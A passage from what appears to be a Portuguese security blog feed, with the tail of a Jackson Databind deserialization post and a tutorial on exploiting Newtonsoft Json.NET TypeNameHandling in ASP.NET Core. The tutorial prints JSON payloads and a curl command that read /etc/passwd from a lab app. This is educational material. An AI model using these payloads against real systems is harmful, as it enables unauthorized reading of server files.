}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/19-send-malicious-json-to-exploit-cmdi-1.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="2000" height="767" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/19-send-malicious-json-to-exploit-cmdi-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/19-send-malicious-json-to-exploit-cmdi-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/02/19-send-malicious-json-to-exploit-cmdi-1.png 1600w, https://blog.hackingclub.com/content/images/2024/02/19-send-malicious-json-to-exploit-cmdi-1.png 2086w" sizes="(min-width: 720px) 720px"></figure><p>Listando e lendo o arquivo &quot;/tmp/example.log&quot;, conseguimos obter o output do comando &quot;id&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/20-get-id-ouptut.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1258" height="281" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/20-get-id-ouptut.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/20-get-id-ouptut.png 1000w, https://blog.hackingclub.com/content/images/2024/02/20-get-id-ouptut.png 1258w" sizes="(min-width: 720px) 720px"></figure><h2 id="corrigindo-a-desserializa%C3%A7%C3%A3o-insegura-no-jackson-databind">Corrigindo a desserializa&#xE7;&#xE3;o insegura no Jackson databind</h2><p>Nunca devemos utilizar a fun&#xE7;&#xE3;o &quot;enableDefaultTyping()&quot;, pois ela permite com que o usu&#xE1;rio controle a tipagem de objetos setados nas propriedades do JSON, e isso pode permitir com que ele acesse outros objetos do c&#xF3;digo, como vimos anteriormente.</p><p>Uma outra recomenda&#xE7;&#xE3;o &#xE9; sempre utilizarmos a tipagem correta para as propriedades das classes definidas no c&#xF3;digo. Como vimos anteriormente, a propriedade &quot;user&quot; da classe &quot;Cart&quot;, foi tipada como &quot;Object&quot;, ou seja, podemos especificar qualquer objeto da aplica&#xE7;&#xE3;o na mesma. Se tiparmos a propriedade com o objeto &quot;User&quot;, n&#xE3;o conseguimos mais manipular o seu tipo no JSON, mesmo que o &quot;enableDefaultTyping()&quot; esteja sendo utilizado.</p><p>A imagem abaixo mostra como ficaria o c&#xF3;digo com o patch aplicado:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/21-cart-class-with-patch.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1071" height="287" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/21-cart-class-with-patch.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/21-cart-class-with-patch.png 1000w, https://blog.hackingclub.com/content/images/2024/02/21-cart-class-with-patch.png 1071w" sizes="(min-width: 720px) 720px"></figure><p>Ap&#xF3;s o patch, se tentarmos especificar um tipo na propriedade &quot;user&quot;, recebemos uma mensagem de erro:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/22-json-parse-error-after-patch.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1966" height="654" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/22-json-parse-error-after-patch.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/22-json-parse-error-after-patch.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/02/22-json-parse-error-after-patch.png 1600w, https://blog.hackingclub.com/content/images/2024/02/22-json-parse-error-after-patch.png 1966w" sizes="(min-width: 720px) 720px"></figure><blockquote>Espero que tenham gostado! Nos vemos na pr&#xF3;xima miss&#xE3;o de web exploitation!<br>SmF2YSBpbnNlY3VyZSBkZXNzZXJpYWxpemF0aW9uIGlzIHRoZSBuZXh0IG1pc3Npb24u</blockquote><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://snyk.io/blog/java-json-deserialization-problems-jackson-objectmapper/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Java JSON deserialization problems with the Jackson ObjectMapper | Snyk</div><div class="kg-bookmark-description">Learn how Jackson ObjectMapper deserialization vulnerabilities work and how to make sure you are not affected by them.</div><div class="kg-bookmark-metadata"><span class="kg-bookmark-author">Snyk</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://res.cloudinary.com/snyk/image/upload/v1613516817/wordpress-sync/Blog-Feature-Java-deserialize.png" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/Ingenuity-Fainting-Goats/CVE-2017-7525-Jackson-Deserialization-Lab?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - Ingenuity-Fainting-Goats/CVE-2017-7525-Jackson-Deserialization-Lab: Insecure Java Deserialization Lab</div><div class="kg-bookmark-description">Insecure Java Deserialization Lab. Contribute to Ingenuity-Fainting-Goats/CVE-2017-7525-Jackson-Deserialization-Lab development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">Ingenuity-Fainting-Goats</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/edfe3614395ad6cb444824b0c2acde4dbd272bd11c1d43f3d3618213a5b73678/Ingenuity-Fainting-Goats/CVE-2017-7525-Jackson-Deserialization-Lab" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java"></div></a></figure><h2 id="onde-praticar-desserializa%C3%A7%C3%A3o-insegura"><strong>Onde praticar desserializa&#xE7;&#xE3;o insegura ?</strong></h2><p>Atualmente o <a href="https://hackingclub.com/?ref=blog.hackingclub.com">hackingclub</a> possu&#xED; diversos CTFs em que podem ser explorados desserializa&#xE7;&#xE3;o insegura, em diversos contextos e linguagens diferentes.</p><p>O Hacking Club &#xE9; uma plataforma de treinamento em cybersecurity, que permite voc&#xEA; aprender hacking de forma totalmente pr&#xE1;tica.</p><p>Temos mais de 150 ambientes com vulnerabilidades reais com write-ups para voc&#xEA; treinar e aprender hacking.<br><br>Semanalmente lan&#xE7;amos<a href="https://app.hackingclub.com/?ref=blog.hackingclub.com"> <strong>m&#xE1;quinas gratuitas</strong></a> para voc&#xEA; praticar e se desafiar no hacking!</p>]]></content:encoded></item><item><title><![CDATA[Explorando Desserialização Insegura em Aplicações ASP.NET Core]]></title><description><![CDATA[<p>A <strong>desserializa&#xE7;&#xE3;o insegura</strong> &#xE9; uma vulnerabilidade cr&#xED;tica frequentemente explorada em <strong>pentests</strong>, pesquisas de <strong>Cyber Security</strong> e desafios de <strong>CTF (Capture The Flag)</strong>, permitindo que atacantes manipulem objetos serializados para comprometer aplica&#xE7;&#xF5;es e executar c&#xF3;digo malicioso. Neste artigo, analisaremos como essa</p>]]></description><link>https://blog.hackingclub.com/desserializacao-insegura-em-net-core/</link><guid isPermaLink="false">65528242d192d0040d8acafe</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Fri, 15 Dec 2023 15:11:08 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/asap_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/asap_-HC_BLOG-1.jpg" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"><p>A <strong>desserializa&#xE7;&#xE3;o insegura</strong> &#xE9; uma vulnerabilidade cr&#xED;tica frequentemente explorada em <strong>pentests</strong>, pesquisas de <strong>Cyber Security</strong> e desafios de <strong>CTF (Capture The Flag)</strong>, permitindo que atacantes manipulem objetos serializados para comprometer aplica&#xE7;&#xF5;es e executar c&#xF3;digo malicioso. Neste artigo, analisaremos como essa falha pode ser explorada em aplica&#xE7;&#xF5;es que utilizam o <strong>ASP.NET Core</strong>, um dos frameworks mais populares para desenvolvimento de aplica&#xE7;&#xF5;es web modernas no ecossistema .NET.</p><h2 id="o-que-%C3%A9-net-core-e-aspnet-core">O que &#xE9; .NET Core e ASP.NET Core?</h2><p>Antes de aprofundarmos na explora&#xE7;&#xE3;o pr&#xE1;tica, &#xE9; fundamental entender os pap&#xE9;is do <strong>.NET Core</strong> e do <strong>ASP.NET Core</strong> dentro da arquitetura de aplica&#xE7;&#xF5;es web. Desenvolvido pela Microsoft, o .NET &#xE9; uma plataforma multiplataforma compat&#xED;vel com Windows, Linux e macOS, oferecendo suporte a linguagens como C#, F# e VB.NET. J&#xE1; o ASP.NET e sua vers&#xE3;o moderna, ASP.NET Core, s&#xE3;o frameworks voltados para o desenvolvimento de APIs e aplica&#xE7;&#xF5;es web de alto desempenho &#x2014; amplamente utilizados em ambientes corporativos.</p><h2 id="o-que-%C3%A9-desserializa%C3%A7%C3%A3o-insegura">O que &#xE9; desserializa&#xE7;&#xE3;o insegura?</h2><p>A desserializa&#xE7;&#xE3;o insegura &#xE9; uma vulnerabilidade que permite com que o atacante controle objetos que est&#xE3;o sendo desserializados pela aplica&#xE7;&#xE3;o. Os riscos associados a essa falha de seguran&#xE7;a variam desde simples ataques de nega&#xE7;&#xE3;o de servi&#xE7;o (DoS) at&#xE9; a execu&#xE7;&#xE3;o remota de c&#xF3;digo (RCE) no servidor-alvo.</p><h2 id="explorando-desserializa%C3%A7%C3%A3o-insegura">Explorando desserializa&#xE7;&#xE3;o insegura</h2><p>No processo de explorar a desserializa&#xE7;&#xE3;o insegura, &#xE9; importante mencionar uma biblioteca amplamente empregada em aplica&#xE7;&#xF5;es ASP.NET: o &quot;Newtonsoft Json.NET.&quot; Essa biblioteca desempenha um papel significativo na manipula&#xE7;&#xE3;o de dados em formato JSON. Vamos examinar como ocorre a serializa&#xE7;&#xE3;o e desserializa&#xE7;&#xE3;o de dados utilizando essa biblioteca.</p><h3 id="entendendo-a-serializa%C3%A7%C3%A3o">Entendendo a serializa&#xE7;&#xE3;o</h3><p>Para realizar a serializa&#xE7;&#xE3;o de objetos e convert&#xEA;-los em formato JSON por meio do Newtonsoft Json.NET, empregamos o m&#xE9;todo &quot;SerializeObject,&quot; conforme ilustrado no exemplo a seguir:</p><pre><code class="language-C#">User newUser = new User { Name = &quot;Jhon&quot;, Email = &quot;jhondoe@mail.com&quot;, Age = 20 };

string json = JsonConvert.SerializeObject(newUser);

Console.WriteLine(json);</code></pre><p>O output dessa serializa&#xE7;&#xE3;o seria:</p><pre><code>{&quot;Name&quot;: &quot;Jhon&quot;, &quot;Email&quot;: &quot;jhondoe@mail.com&quot;, &quot;Age&quot;: 20}</code></pre><h3 id="entendendo-a-desserializa%C3%A7%C3%A3o">Entendendo a desserializa&#xE7;&#xE3;o</h3><p>Para realizar a desserializa&#xE7;&#xE3;o do JSON, empregamos o m&#xE9;todo DeserializeObject&lt;Object&gt;. A seguir, apresentamos um exemplo:</p><p>Classe User:</p><pre><code class="language-C#">public class User
{
	public string Name { get; set; }
	public string Email { get; set; }
	public int Age { get; set; }
}</code></pre><p>Json:</p><pre><code>{&quot;Name&quot;: &quot;Jhon&quot;, &quot;Email&quot;: &quot;jhondoe@mail.com&quot;, &quot;Age&quot;: 20}</code></pre><p><strong>A</strong>IMPORTANTE: Ao realizar a desserializa&#xE7;&#xE3;o do objeto, precisamos especificar o tipo do objeto.</p><pre><code>string jsonInput = &quot;{\&quot;Name\&quot;: \&quot;Jhon\&quot;, \&quot;Email\&quot;: \&quot;jhondoe@mail.com\&quot;, \&quot;Age\&quot;: 20}&quot;;

User newUser = JsonConvert.DeserializeObject&lt;User&gt;(jsonInput);

Console.WriteLine($&quot;Name: {newUser.Name}&quot;);</code></pre><p>Observa-se que o tipo do objeto foi especificado em &quot;DeserializeObject&lt;<strong>User</strong>&gt;&quot;.</p><h3 id="typenamehandling-e-seus-problemas-de-seguran%C3%A7a">TypeNameHandling e seus problemas de seguran&#xE7;a</h3><p>O TypeNameHandling &#xE9; uma op&#xE7;&#xE3;o que podemos configurar no Newtonsoft Json.NET. Com essa op&#xE7;&#xE3;o habilitada, os objetos serializados possuem o campo &quot;$type&quot;, que revela o tipo do objeto. Durante a desserializa&#xE7;&#xE3;o desses dados, n&#xE3;o &#xE9; necess&#xE1;rio especificar manualmente o tipo de objeto, pois o campo &quot;$type&quot; j&#xE1; indica para o Newtonsoft Json.NET qual &#xE9; o tipo do objeto.</p><h3 id="exemplo-de-serializa%C3%A7%C3%A3o-com-typenamehandling">Exemplo de serializa&#xE7;&#xE3;o com TypeNameHandling</h3><pre><code class="language-C#">User newUser = new User { Name = &quot;Jhon&quot;, Email = &quot;jhondoe@mail.com&quot;, Age = 20 };

JsonSerializerSettings settings = new JsonSerializerSettings
{
	TypeNameHandling = TypeNameHandling.All
};

string json = JsonConvert.SerializeObject(newUser, settings);
Console.WriteLine(json);
</code></pre><p>O json gerado pela serializa&#xE7;&#xE3;o seria parecido com o abaixo:</p><pre><code>{
    &quot;$type&quot;: &quot;Namespace.User, AssemblyAppName&quot;,
    &quot;Name&quot;: &quot;Jhon&quot;,
    &quot;Email&quot;: &quot;jhondoe@mail.com&quot;
    &quot;Age&quot;: 20
}</code></pre><h3 id="exemplo-de-desserializa%C3%A7%C3%A3o-com-typenamehandling">Exemplo de desserializa&#xE7;&#xE3;o com TypeNameHandling</h3><pre><code>string jsonInput = &quot;{\&quot;$type\&quot;: \&quot;Namespace.User, AssemblyAppName\&quot;, \&quot;Name\&quot;: \&quot;Jhon\&quot;, \&quot;Email\&quot;: \&quot;jhondoe@mail.com\&quot;, \&quot;Age\&quot;: 20}&quot;;

JsonSerializerSettings settings = new JsonSerializerSettings
{
	TypeNameHandling = TypeNameHandling.All
};

User newUser = JsonConvert.DeserializeObject(jsonInput);

Console.WriteLine($&quot;Name: {newUser.Name}&quot;);</code></pre><p>Perceba que agora n&#xE3;o necessita especificar o tipo de objeto na desserializa&#xE7;&#xE3;o, pois o Newtonsoft Json.NET ir&#xE1; obter o tipo no campo &quot;$type&quot;.</p><h3 id="problemas-de-seguran%C3%A7a">Problemas de seguran&#xE7;a</h3><p>Conforme mencionado anteriormente, o campo &quot;$type&quot; no json especifica o tipo do objeto que foi serializado. Dessa forma, o objeto indicado nesse campo ser&#xE1; chamado no processo de desserializa&#xE7;&#xE3;o. Agora, considere a seguinte situa&#xE7;&#xE3;o: um usu&#xE1;rio mal intencionado modifica o Json especificando outro objeto da aplica&#xE7;&#xE3;o no campo &quot;$type&quot;. Isso permitiria a esse usu&#xE1;rio acessar e modificar propriedades de outros objetos da aplica&#xE7;&#xE3;o. </p><h3 id="exemplo-de-ataque">Exemplo de ataque</h3><p>Ao analisar o c&#xF3;digo fonte da aplica&#xE7;&#xE3;o, vemos que o TypeNameHandling foi configurado globalmente:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/typenamehandling-enabled-02.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="640" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/typenamehandling-enabled-02.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/typenamehandling-enabled-02.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/typenamehandling-enabled-02.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/typenamehandling-enabled-02.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Ao examinar a Controller &quot;ExampleController&quot;, vemos que a rota &quot;/api/example&quot; no m&#xE9;todo GET retorna um objeto do tipo &quot;UserModel&quot;, e no m&#xE9;todo POST &#xE9; esperado um Json com o objectType &quot;UserModel&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/controller-source-03.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="892" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/controller-source-03.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/controller-source-03.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/controller-source-03.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/controller-source-03.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Enviando uma requisi&#xE7;&#xE3;o GET para &quot;/api/example&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/get-request-01-1.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="1838" height="648" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/get-request-01-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/get-request-01-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/get-request-01-1.png 1600w, https://blog.hackingclub.com/content/images/2023/11/get-request-01-1.png 1838w" sizes="(min-width: 720px) 720px"></figure><pre><code class="language-JSON">{
    &quot;$type&quot;:&quot;UserModel, Example&quot;,
    &quot;name&quot;:&quot;tris0n&quot;,
    &quot;email&quot;:&quot;tris0n@mail.com&quot;,
    &quot;age&quot;:16,
    &quot;personalInfo&quot;: {
    	&quot;$type&quot;:&quot;PersonalInfo, Example&quot;,
    	&quot;cpf&quot;:&quot;999.999.999-99&quot;
    }
}</code></pre><p>Perceba que na propriedade &quot;personalInfo&quot; &#xE9; retornado um objeto do tipo &quot;PersonalInfo&quot;. </p><p>Analisando o objeto UserModel:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/UserModel-04.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="666" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/UserModel-04.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/UserModel-04.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/UserModel-04.png 1600w, https://blog.hackingclub.com/content/images/2023/11/UserModel-04.png 2308w" sizes="(min-width: 720px) 720px"></figure><p>Observamos que no objeto &quot;UserModel&quot; existe a propriedade &quot;PersonalInfo&quot;, e ela &#xE9; do tipo &quot;object&quot;. Isso implica que podemos definir qualquer tipo de objeto nessa propriedade. Ao analisar o Json que recebemos, notamos que o objeto &quot;PersonalInfo&quot; foi especificado na mesma forma.</p><p>Analisando o objeto &quot;PersonalInfo&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/PersonalInfo.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="618" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/PersonalInfo.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/PersonalInfo.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/PersonalInfo.png 1600w, https://blog.hackingclub.com/content/images/2023/11/PersonalInfo.png 2189w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que ele possu&#xED; apenas uma propriedade: &quot;CPF&quot;.</p><p>Analisando o objeto &quot;ConfigModel&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/configModel-05.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="824" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/configModel-05.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/configModel-05.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/configModel-05.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/configModel-05.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Observamos que o getter da propriedade &quot;configContent&quot; l&#xEA; o arquivo especificado na propriedade &quot;configPath&quot;. Em outras palavras, se conseguirmos acessar esse objeto podemos ler arquivos do servidor.<br>Conforme analisado anteriormente, podemos realizar uma requisi&#xE7;&#xE3;o POST para a rota &quot;/api/example&quot; enviando um objeto do tipo &quot;UserModel&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/post-request-api-example.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="803" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/post-request-api-example.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/post-request-api-example.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/post-request-api-example.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/post-request-api-example.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Ao enviar um objeto do tipo &quot;UserModel&quot;, a aplica&#xE7;&#xE3;o retorna o pr&#xF3;prio objeto que enviamos. Embora este endpoint aceite apenas objetos do tipo &quot;UserModel,&quot; observamos que dentro desse objeto, a propriedade &quot;personalInfo&quot; aceita objetos de qualquer tipo,com isso, podemos chamar outros objetos da aplica&#xE7;&#xE3;o.</p><h3 id="explorando-vulnerabilidade-e-lendo-arquivos-do-servidor">Explorando vulnerabilidade e lendo arquivos do servidor</h3><p>Como visto anteriormente, existe o objeto &quot;ConfigModel&quot;, e ao obtermos o controle nos valores de suas propriedades conseguimos ler arquivos do servidor alvo.</p><p>Podemos especific&#xE1;-lo na propriedade &quot;personalInfo&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/post-request-api-example-exploiting-01-06.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="530" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/post-request-api-example-exploiting-01-06.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/post-request-api-example-exploiting-01-06.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/post-request-api-example-exploiting-01-06.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/post-request-api-example-exploiting-01-06.png 2400w" sizes="(min-width: 720px) 720px"></figure><pre><code>{
    &quot;$type&quot;:&quot;UserModel, Example&quot;,
    &quot;name&quot;:&quot;tris0n&quot;,
    &quot;email&quot;:&quot;tris0n@mail.com&quot;,
    &quot;age&quot;:16,
    &quot;personalInfo&quot;:{
        &quot;$type&quot;:&quot;ConfigModel, Example&quot;
    }
}</code></pre><p>Vemos que recebemos um Json contendo as propriedades do objeto &quot;ConfigModel&quot;. Isso significa que conseguimos chamar o objeto. Alterando a propriedade &quot;configPath&quot; para &quot;/etc/passwd&quot;, conseguimos ler o arquivo com sucesso:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/post-request-api-example-exploiting-02-07.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="836" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/post-request-api-example-exploiting-02-07.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/post-request-api-example-exploiting-02-07.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/post-request-api-example-exploiting-02-07.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/post-request-api-example-exploiting-02-07.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Payload utilizada:</p><pre><code>{
	&quot;$type&quot;:&quot;UserModel, Example&quot;,
	&quot;name&quot;:&quot;tris0n&quot;,
	&quot;email&quot;:&quot;tris0n@mail.com&quot;,
	&quot;age&quot;:16,
	&quot;personalInfo&quot;:{
	&quot;$type&quot;:&quot;ConfigModel, Example&quot;,
		&quot;configPath&quot;: &quot;/etc/passwd&quot;
	}
}</code></pre><p>Explora&#xE7;&#xE3;o utilizando curl:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/final-exp-08.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core" loading="lazy" width="2000" height="968" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/final-exp-08.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/final-exp-08.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/final-exp-08.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/final-exp-08.png 2400w" sizes="(min-width: 720px) 720px"></figure><pre><code>curl http://localhost:5023/api/example -H &quot;Content-type: application/json&quot; -d &apos;{&quot;$type&quot;:&quot;UserModel, Example&quot;,&quot;name&quot;:&quot;tris0n&quot;,&quot;email&quot;:&quot;tris0n@mail.com&quot;,&quot;age&quot;:16,&quot;personalInfo&quot;:{&quot;$type&quot;:&quot;ConfigModel, Example&quot;, &quot;configPath&quot;: &quot;/etc/passwd&quot;}}&apos; | jq</code></pre><p>Nesse cen&#xE1;rio espec&#xED;fico foi poss&#xED;vel ler arquivos do servidor, mas em outros cen&#xE1;rios, talvez conseguir&#xED;amos apenas um DoS, ou at&#xE9; mesmo um RCE, assim comprometendo o servidor alvo. </p><p>A desserializa&#xE7;&#xE3;o insegura ser&#xE1; diferente em cada aplica&#xE7;&#xE3;o, e se tivermos acesso ao c&#xF3;digo fonte, a possibilidade de obtermos RCE s&#xE3;o significativas.</p><p>Esse post abordou apenas uma maneira de explorar desserializa&#xE7;&#xE3;o insegura, utilizando TypeNameHandling da biblioteca Newtonsoft Json.NET. No entanto, existem diversas formas de ataques &#xE0; desserializa&#xE7;&#xE3;o insegura em ASP.NET Core.</p><p><strong>Observa&#xE7;&#xE3;o: </strong>O laborat&#xF3;rio utilizado nesse post est&#xE1; disponibilizado em nosso github. Acesse o link do reposit&#xF3;rio abaixo:</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/crowsec-edtech/blog/tree/main/chall-dotnet-deserialization?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">blog/chall-dotnet-deserialization at main &#xB7; crowsec-edtech/blog</div><div class="kg-bookmark-description">Repository for blog labs. Contribute to crowsec-edtech/blog development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">crowsec-edtech</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/24f24aceed09b263f7b666831f6e46a855454850cc04ad027b331fb9ea380fc8/crowsec-edtech/blog" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"></div></a></figure><h2 id="onde-encontramos-desserializa%C3%A7%C3%A3o-insegura">Onde encontramos desserializa&#xE7;&#xE3;o insegura?</h2><p>Como dito anteriormente, para explorarmos desserializa&#xE7;&#xE3;o insegura e impactarmos o servidor de uma maneira significativa, precisamos analisar o c&#xF3;digo da aplica&#xE7;&#xE3;o alvo. Seguindo essa linha de pensamento, a desserializa&#xE7;&#xE3;o insegura &#xE9; muito encontrada em aplica&#xE7;&#xF5;es e bibliotecas open-source que manipulam dados serializados, pois temos acesso livre ao c&#xF3;digo fonte. Veja abaixo algumas CVEs que exploram desserializa&#xE7;&#xE3;o insegura:</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">CVE-2019-18935: Remote Code Execution via Insecure Deserialization in&#x2026;</div><div class="kg-bookmark-description">Telerik UI for ASP.NET AJAX insecurely deserializes JSON objects resulting in arbitrary RCE. Learn how to patch and securely configure this software.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://bishopfox.com/apple-touch-icon.png" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"><span class="kg-bookmark-author">Bishop Fox</span><span class="kg-bookmark-publisher">Caleb Gross, Director of Capability Development</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://images.bishopfox.com/prod-1437/Images/channels/blog/tiles/Bishop-Fox_Blog-Post_Telerik_FI-01_2022-05-18-224348_nhah.jpg" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.zerodayinitiative.com/blog/2023/2/27/cve-2022-38108-rce-in-solarwinds-network-performance-monitor?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Zero Day 